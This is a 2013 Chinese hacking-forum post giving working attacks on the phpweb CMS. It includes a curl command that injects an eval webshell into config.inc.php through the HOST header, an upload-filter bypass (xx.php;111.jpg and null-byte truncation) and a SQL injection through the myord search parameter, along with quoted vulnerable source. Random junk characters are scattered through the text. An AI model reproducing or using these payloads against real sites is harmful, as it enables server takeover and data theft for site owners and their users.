找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2284|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
  c  P3 F; B/ ?" Y5 S0 Z
/ t8 D+ W4 R' E之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
. B9 q$ V" w) ]1 ^" b2 ~: C- f 2 Y. C# G: D' i: ^
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
+ H% \7 K7 j) U4 I鸡肋2: 有一定安全常识的站长都会删掉 install 目录1 m/ `% e% m$ ]4 x0 U
7 l  r+ Q) ^" D& t9 ~" m
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响2 v* i: O+ H9 @# F+ i; l* J1 y) i
( J. ^1 c2 y" M
分析:
/ I5 k; f9 k- c3 y+ l+ B' Z 8 G% O' M* ^* i' F; ^- j. ?6 x
  @  u$ `% ?* }: D* R
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤) ^) i. t* M6 _0 [' h

. k6 y4 w; H& S- m6 _                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);2 r1 Z* E% j% \( P" d( ?! ~
                                            $filestr=str_replace(" ","",$filestr);% Y1 i  O" d4 b) R/ Z' _% K* |3 g
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
( s# D5 h  F8 h& A% j                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
7 \' Q* B7 \8 N$ ~- m+ n                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);) g. C( S. O0 q
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
) E% j. u1 p, t5 C- [+ X                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);, p5 X2 b# J% Y& h3 Y9 n" o7 V' W
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
! i( Q0 p# _0 K, ^                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);9 t" x* @5 i' D, P+ ~% O) V- A

) t0 I: O9 b9 E                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
: W5 o! O9 k9 F% l9 R$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^% K8 m3 a% w& a8 L, y  E/ s

$ L/ l( _2 {+ Y5 Xpoc:& \# f  D9 H& Y' c0 W

- z- }* o1 o5 @. g" M6 _. E& F?
4 c- j. q- _/ F# `. i$ C! x" W- r/ ~17 J/ d8 r% T: U; B' E) e  T
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"; E6 b' `% H5 b% c3 G6 f
shell地址: /config.inc.php' f% H5 q7 C. e% y1 `  e8 ]/ N
跟之前的 phpcms一样 需要远程数据库
, S  w* E( o$ I+ k: a: F ) e! G% h; u$ N& _+ N: I
——————————————————–3 E9 J; Y; Z. d0 P3 m0 r
上传漏洞(需要进后台):$ ^" H7 T2 ]; O" k" a' I- i% q. @
漏洞文件: /kedit/upload_cgi/upload.php! v5 l7 c5 F  t
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
, \0 J5 K1 A1 F ' p( M" d; R8 A9 E" s

: E% h8 j4 H1 a! ?% U<?php' C! M$ x1 ]; ?" G
    define("ROOTPATH", "../../");3 j6 K5 o: J/ O4 d. _$ Q# a7 i
    include(ROOTPATH."includes/admin.inc.php");5 a9 Z( {' o) L4 @
    NeedAuth(0);
' A1 u. Y6 P# I ! Z9 i0 e# l$ {1 h) S0 A" ~
    $dt=date("Ymd",time());; q$ c% h' a; n8 w( x
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){% A3 ^6 C6 L% P
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);; g% m. g3 k% L' Q- w: v
    }4 s7 |6 X: ?# s

0 i% C! U9 L! ]    //文件保存目录路径
( Z: ?% [! p9 ]    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';1 q8 l- @* I* G* h2 [5 r' a- M
    echo $save_path;' x4 r1 ^0 m! N0 `
    //文件保存目录URL
2 D: p3 l; f" U" R0 P! p    $save_url = '../../'.$_POST['attachPath'].$dt.'/';: X( m3 ?  L" j# C1 m# M3 l

' X' `$ X+ [% ~' Q    //定义允许上传的文件扩展名& B0 _8 J4 ~' m' e
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
# d4 \6 x7 ]. W
4 A8 i7 C: ?9 I8 M( U. I    //最大文件大小
5 j+ K; k$ j$ s9 s4 `% h. Z    $max_size = 1000000;
8 l. i, N8 ]4 f6 y4 r9 ]* [& b 3 C$ [! ^" [$ x- Y7 h9 Q" L; ]
    //更改目录权限2 x5 ?- |0 j; v& v3 _9 Y, G" c1 E
    @mkdir($save_path, 0777);
7 h8 x: }5 u; n5 A- A: g) i% H
, I, P5 o' N: ]0 {& s    //文件的全部路径* N) X- b4 ~3 r: w5 b! a
    $file_path = $save_path.$_POST['fileName'];   //保存文件名2 T( Y2 v+ Z4 y, Z
7 u$ q9 B* c+ c/ [- P% S
    //文件URL! L% f& F; S1 T; J/ K
    $file_url = $save_url.$_POST['fileName'];
8 ~& y0 C. P% L5 f1 d6 Q' c//有上传文件时& U% _9 W3 Y' i" e" I" L. j
    if (empty($_FILES) === false) {: V  j3 X, d6 N+ z
$ P- i9 w) ]! r" j3 j- ?
            //原文件名
: N& w  t* c/ V) E+ b" J  ]( h            $file_name = $_FILES['fileData']['name'];
  x/ @9 w4 Y$ \% X            //服务器上临时文件名
1 I5 M- @+ B, K7 {            $tmp_name = $_FILES['fileData']['tmp_name'];0 T( [( h3 m& o9 K! y" h
            //文件大小9 U! q0 G  m+ g* f
            $file_size = $_FILES['fileData']['size'];0 ~4 A. V( T( n2 N5 U9 Q6 o+ G4 m
            //检查目录
) d/ J/ |, c8 A. Y5 ^            if (@is_dir($save_path) === false) {
( j: l# ^$ f) F* _0 e                    alert("上传目录不存在。");: W' l2 N+ G3 e
            }
0 _8 h0 B& f: ^- D: M            //检查目录写权限+ B! d6 }& p! [; `# ^, G
            if (@is_writable($save_path) === false) {% r# j. ^4 [: B: H! ^% ?1 [
                    alert("上传目录没有写权限。");
: A# R! C$ \' {* Y" h) q2 I, f            }
( ], k' \! V5 y8 ], B" A6 ^% l+ o            //检查是否已上传3 N9 a' Z2 c% v( B1 I
            if (@is_uploaded_file($tmp_name) === false) {& m' l% n" A, `, {0 L1 C
                    alert("临时文件可能不是上传文件。");
+ H7 m+ R% \/ `" u) v- S            }
" e5 n) @8 y, O6 l: o            //检查文件大小
# i  p; L' D6 o- i! B0 |            if ($file_size > $max_size) {
  f/ D- z! j& d% j) k                    alert("上传文件大小超过限制。");% g/ \3 a% d& I& B% [+ I" [
            }2 U7 e5 O3 \+ u' }8 h8 t" t
            //获得文件扩展名
- V4 d# _9 \/ {/ ~            $temp_arr = explode(".", $_POST['fileName']);' y. S. R2 J, L# U
            $file_ext = array_pop($temp_arr);
% X* c# O8 R; x# E            $file_ext = trim($file_ext);$ W+ E/ C1 ~# P  O, T
            $file_ext = strtolower($file_ext);
; i7 P2 i- N2 l' W3 c7 q 6 p# L# W, c* ~# S% e
            //检查扩展名   + k7 o) w% q+ D2 H
            if (in_array($file_ext, $ext_arr) === false) {     
5 _$ s4 F6 g! ~. V                    alert("上传文件扩展名是不允许的扩展名。");
$ t: T8 S" }" H8 U3 @8 {& u            }
7 J- L# @4 ]9 U; p; c7 R* G# V' R ! i1 {: v4 E2 c1 J
            //移动文件   
. c( o7 u5 I6 b2 [3 [            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
: G% u2 F- v6 o' C            if (move_uploaded_file($tmp_name, $file_path) === false) {% R. E5 T& u0 |9 ]2 D$ I! I
                    alert("上传文件失败。");
, g' S% z4 \  D2 s4 P            }
% e) a" u( t+ l0 j8 {/ L& v
: l9 X6 i# w) ~6 J            @chmod($file_path,0666);
( i/ O0 n5 E( M4 ^4 Y 0 T3 l/ \; |8 E/ C
    ?>
% m  [5 {  l2 G# @- Z) `3 Z4 [2 ^抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
; h* q; F. U6 [- J " Y  g( Q6 o( P! t; h7 C. Y3 l
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过1 x- Y! Q5 x$ W

6 [' o9 H$ I* y8 J——————————————————' q* O1 j  H4 H2 T8 g5 J4 j4 A; `
注入漏洞:5 {8 }/ u- Y+ k& _& p
漏洞文件:search/module/search.php( W( m9 j7 H" K0 A1 N
/search/index.php?key=1&myord=1 [sqlinjection]
; n7 Y7 ^  z# ~ 9 h3 p+ e! y: y# G! U) k+ K; I

& h5 Q; g! B7 Q/ D0 G9 j<?php) z9 N/ |8 z5 x  C$ {9 i5 j
   //       ... 省略 n 行...- m6 F% s% Z9 z& L
   //第18行:. s: G, r' V% d" g5 e# W6 G; j& c
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
' X" u) V* u' _" H8 z' @           $page=htmlspecialchars($_GET["page"]);
5 O. ~( y; P3 f  V; P           $myord=htmlspecialchars($_GET["myord"]);0 I) m& S& ]$ a7 H, S# t: Y

* ?, d7 E% n  p- D   //       ... 省略 n 行...8 K. }6 ?1 P8 n7 ~* Y- o6 y  S2 w/ ?
   $key,$myord 两个参数带入查询
4 J9 y% x6 I8 j( k  b   //第47行 $key:
2 d5 v3 D$ g3 ^  W, l$ ]4 a 3 L2 ~: \; `3 S7 @
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..6 z/ u9 L4 v  Y. j# S% q" e
7 I* Y$ {( ^3 }6 z
   //第197行 $myord/ p- k- e( O" Q2 p
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
$ `5 a2 s1 ]. @3 ?7 Z3 o1 V
, |! v% M5 `$ d, B  @. r$ q4 |   ?>
: G5 B& `+ O" Y; Q; v4 |2 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表